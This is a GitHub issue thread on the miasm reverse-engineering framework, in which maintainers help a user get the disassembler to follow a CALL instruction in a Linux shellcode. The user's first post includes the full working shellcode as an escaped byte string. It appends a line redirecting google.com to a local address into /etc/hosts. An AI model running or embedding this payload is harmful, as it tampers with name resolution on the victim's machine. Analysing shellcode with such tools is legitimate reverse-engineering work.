cea-sec / miasm

Reverse engineering framework in Python
https://miasm.re/
GNU General Public License v2.0
3.47k stars 473 forks source link

CALL instruction not followed #184

Closed Summus-31c04089c3cd80 closed 9 years ago

Summus-31c04089c3cd80 commented 9 years ago

Hi,

I have an other question about the execution of a Linux shellcode, this is what miasm did :

4000001E XCHG EAX, EBX 4000001F PUSH 0x4 40000021 POP EAX 40000022 JMP loc_0000000040000034:0x40000034 40000034 CALL loc_0000000040000024:0x40000024 40000039 XOR DWORD PTR [EDX], ESI (...)

The jump to 0x34 is followed but not the call, did i miss something or have i to force the call ?

When i print the blocs we can see the "jump" of the call is not correct : loc_000000000000001E:0x0000001e XCHG EAX, EBX PUSH 0x4 POP EAX JMP loc_0000000000000034:0x00000034 -> c_to:loc_0000000000000034:0x00000034

loc_0000000000000034:0x00000034 CALL loc_0000000000000024:0x00000024 -> c_next:loc_0000000000000039:0x00000039

This is the complete shellcode : "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d"

commial commented 9 years ago

Hi @rlesteve

I've tried your shellcode with this exception handler:

def handle(jitter):
    jitter.vm.set_exception(0)
    jitter.cpu.set_exception(0)
    return True

sb.jitter.add_exception_handler(4L, handle)

I use the example/jitter/sandbox_pe_x86_32.py script for convenience. I used a small elfesteem script to build a PE from your shellcode.

I got the following output:

RAX 000000000132FFE0 RBX 0000000000000005 RCX 0000000000000401 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000132FFE0 RBP 0000000000000000
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 000000000040101E
0040101F PUSH       0x4
RAX 000000000132FFE0 RBX 0000000000000005 RCX 0000000000000401 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000132FFDC RBP 0000000000000000
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 000000000040101F
00401021 POP        EAX
RAX 0000000000000004 RBX 0000000000000005 RCX 0000000000000401 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000132FFE0 RBP 0000000000000000
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000000401021
00401022 JMP        loc_0000000000401034:0x00401034
RAX 0000000000000004 RBX 0000000000000005 RCX 0000000000000401 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000132FFE0 RBP 0000000000000000
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000000401034
00401034 CALL       loc_0000000000401024:0x00401024
RAX 0000000000000004 RBX 0000000000000005 RCX 0000000000000401 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000132FFDC RBP 0000000000000000
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000000401024
00401024 POP        ECX
RAX 0000000000000004 RBX 0000000000000005 RCX 0000000000401039 RDX 0000000000000000
RSI 0000000000000000 RDI 0000000000000000 RSP 000000000132FFE0 RBP 0000000000000000
zf 0000000000000001 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000000401024

So, the JMP and the CALL are correclty handled. It may come from your int 80 management.

Summus-31c04089c3cd80 commented 9 years ago

Ok, i will compare it with my code ! Thank you

Summus-31c04089c3cd80 commented 9 years ago

I examined the example/jitter/sandbox_pe_x86_32.py script, but, if you load the shellcode as PE, so it is analysed as a windows shellcode, using the lib_imp for PE, etc, when it is a Linux shellcode, that's strange !

Summus-31c04089c3cd80 commented 9 years ago

Ok i now understand ! The execution follows the call, it is the disas of the shellcode that doesnt.

container = Container.from_string(shellcode)    
mdis = machine.dis_engine(container.bin_stream)
blocs = mdis.dis_multibloc(0)

for i, b in enumerate(blocs):
    print b

This give the print I gave you in the first post, but the logs give what you got.

So now my problem is I don't know how to get the disas of the current bloc after a CALL. Is there a method to get it ?

serpilliere commented 9 years ago

Yop

You have the solution in miasm/example/disasm/full.py

miasm/example/disasm$ python full.py -h
usage: Disassemble a binary [-h] [-m ARCHITECTURE] [-f] [-b BLOCKWATCHDOG]
                            [-n FUNCSWATCHDOG] [-r] [-v] [-g] [-z] [-l] [-s]
                            [-o SHIFTOFFSET] [-a] [-i]
                            filename [address [address ...]]

positional arguments:
  filename              File to disassemble
  address               Starting address for disassembly engine

optional arguments:
  -h, --help            show this help message and exit
  -m ARCHITECTURE, --architecture ARCHITECTURE
                        architecture: arml,armb,armtl,armtb,sh4,x86_16,x86_32,
                        x86_64,msp430,mips32b,mips32l
  -f, --followcall      Follow call instructions
  -b BLOCKWATCHDOG, --blockwatchdog BLOCKWATCHDOG
                        Maximum number of basic block to disassemble
  -n FUNCSWATCHDOG, --funcswatchdog FUNCSWATCHDOG
                        Maximum number of function to disassemble
  -r, --recurfunctions  Disassemble founded functions
  -v, --verbose         Verbose mode
  -g, --gen_ir          Compute the intermediate representation
  -z, --dis-nulstart-block
                        Do not disassemble NULL starting block
  -l, --dontdis-retcall
                        If set, disassemble only call destinations
  -s, --simplify        Use the liveness analysis pass
  -o SHIFTOFFSET, --shiftoffset SHIFTOFFSET
                        Shift input binary by an offset
  -a, --try-disasm-all  Try to disassemble the whole binary
  -i, --image           Display image representation of disasm

More precisely:

  -f, --followcall      Follow call instructions

Don't hesitate to look at the code to understand how this is achieved.

Don't hesitate as well to look at all the examples: there are no docs in Miasm, but we tried to make some efforts in writing some many use cases, and most of them contain an embedded help.

Summus-31c04089c3cd80 commented 9 years ago

It works ! I have spent many hours reading and trying to understand your code, using the search tool etc But in this example, the option -f is not used (try to search followcall, it only appears in the options when it should be a variable), so the last time I look at it for this issue I did not insist enough.

Thank you very much for you help !

serpilliere commented 9 years ago

You are right! I have done a pull request #186 to correct the issue of the followcall